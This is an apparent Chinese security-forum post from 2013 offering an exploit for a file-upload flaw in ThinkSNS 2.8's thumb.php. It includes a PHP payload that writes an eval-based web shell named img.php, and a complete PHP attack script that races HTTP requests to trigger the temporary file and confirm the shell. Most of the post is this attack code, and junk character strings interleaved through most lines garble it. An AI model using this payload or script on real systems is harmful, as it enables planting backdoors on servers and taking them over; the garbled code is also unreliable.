找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1998|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本
) ~- D* m& r2 T存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
0 ^2 f( R" M, s, s( L漏洞文件1 G* G& x8 @9 Q# x4 J: g; b  p
存在漏洞的文件为:thumb.php1 |, h  b2 h. ^+ K! c% }( }- M% O
作者:韦鲲鹏; L/ L) A' w' X5 t7 j- D
1、        准备如下PHP文件并上传到服务器(自己的)。
. R9 B8 L& F% h+ k7 R+ A2 T- j文件内容如下:9 t7 |  z# j2 e# j
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>2 |& m5 M, y/ `# p
2、        计算出临时的文件名:
0 _: g: T+ ]. l) J$ j8 z这里我们可以看文件的99行(刚刚是不是没注意呀!)。' f5 k1 [. m/ |$ M6 @+ R: K% e

3 @+ P3 h: h. `- p0 n1 M$ w3、        上传临时文件。
* y* r+ {' j) m1 l# v4、        访问临时文件。
! y8 a0 I; T4 i9 B- j但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。). F# l# e5 i6 Q0 z* y
Exploit文件内容如下:(这个我就不详细解释了)
( r! m4 Y7 C6 r<?php7 w, k* ^9 p2 e+ K8 M
error_reporting(0);  |  y2 h% p5 C! d8 I
set_time_limit(0);) n. h3 W6 z- L6 h
ini_set(“default_socket_timeout”, 5);! y: w7 W+ y' D# J
function http_send($host, $port, $headers) {$ R  n4 B7 ?! Y* i2 E! a
$fp = fsockopen($host, $port);: X& |9 H% U* b+ s+ S5 v/ p1 }
if (!$fp) die(‘Connection -> fail’);
: u% U4 @. C) w6 f% ^1 zfputs($fp, $headers);
& v1 P% c# m! O, D: v& w) s) L5 zreturn $fp;- m+ l- a$ ~  R, k
}
; T: }, A, U, L4 J' v. S& dfunction http_recv($fp) {
) s  X0 N/ ]2 g$ H3 v$ret=”";3 s1 E+ Y1 n' s
while (!feof($fp))
3 h, H+ f- |: J' h1 w  ~# q( s$ u) [$ret.= fgets($fp, 1024);
. r7 m; D1 @# X$ p8 Cfclose($fp);
4 ?) }, j) n# E1 ^5 m2 W7 dreturn $ret;# m* s. u0 F: ]! N' P/ \
}
9 h5 I- m2 G- W- [" b8 tprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
- i2 {) `% V; Z+ B& j# w9 iprint “# Discovered by 韦鲲鹏 #\n\n”;
0 x: P- H# E0 Z3 w: [2 {if ($argc < 4) {, Z- V( S' h. t
print “Usage:   php <host> <path> <romote_url>\n”;
$ w& j+ y7 U% a1 R7 d  Jprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
2 K7 i( {' _1 S7 Adie();
2 h- \2 ?0 P9 `" t8 s  l9 I}
4 U8 ?: @( P$ m' c6 y& m3 P$host = $argv[1];
( G1 p7 j+ Z0 r- u# H' Q$path = $argv[2];+ F' i/ C0 a) D
$url = $argv[3];
; X6 g+ I) P; P0 b. I$i=0;% O/ `; D3 V6 ^4 T2 {/ f
//上传数据包
( r+ M* Y  {1 I* C/ a! v$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;+ n# O" Z! I- Q0 _* k! @
$headers_up .= “Host: “.$host.”\r\n”;
/ x" f9 m- u9 _% s$headers_up .= “Connection: close\r\n\r\n”;
; h1 c5 a; K- g- `$ |echo $headers_up;
; x" s/ u- m; m7 x//临时文件访问数据包
8 Q* O8 B" R0 Z: @$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;; _& x  z( f- O% w( S
$headers .= “Host: “.$host.”\r\n”;) @. `( S7 b4 D6 Z7 N. w
$headers .= “Connection: close\r\n\r\n”;4 k, G0 S( r1 Q' Y4 j) X
echo $headers;
- _; P# e* y! |) o$ Kwhile(++$i<10) {) [1 Q2 u0 G0 J, {4 u: n
fclose(http_send($host, 80, $headers));
6 a5 k2 O# {* \. j5 S}
" Y1 G  n5 p4 ^; a7 E  q- C$ nfclose(http_send($host, 80, $headers_up));
( N& [; ~$ L' r. f7 A1 s+ wwhile(++$i<50) {
* c9 `' M. h- ~& o+ Rfclose(http_send($host, 80, $headers));
' G" i5 r- @; j6 @! N2 ?0 R1 Y}
! K7 C& W4 L; b( f& y' y* K, O$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
5 x8 I9 g% t+ c$headers .= “Host: “.$host.”\r\n”;% [( G4 S* \: F1 c( c# I
$headers .= “Connection: close\r\n\r\n”;
* m( i2 s6 T' [: u$res=http_recv(http_send($host, 80, $headers));! p7 l0 Q) h* {  j' d/ O3 ]
if(preg_match(‘/200 OK/’,$res)) {% h6 }. s' [; _; V
print “Success!\n\n”;
$ b( }. ]0 F  H$ y% w3 N} else {
2 t9 a0 y2 K! f6 F; q1 s- ~print “Fail!\n\n”;# C! G9 O# i! T: G1 o" e
}
$ K' _4 g/ x+ X0 y; Z* @?>, [+ }5 w  k- o$ i5 g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表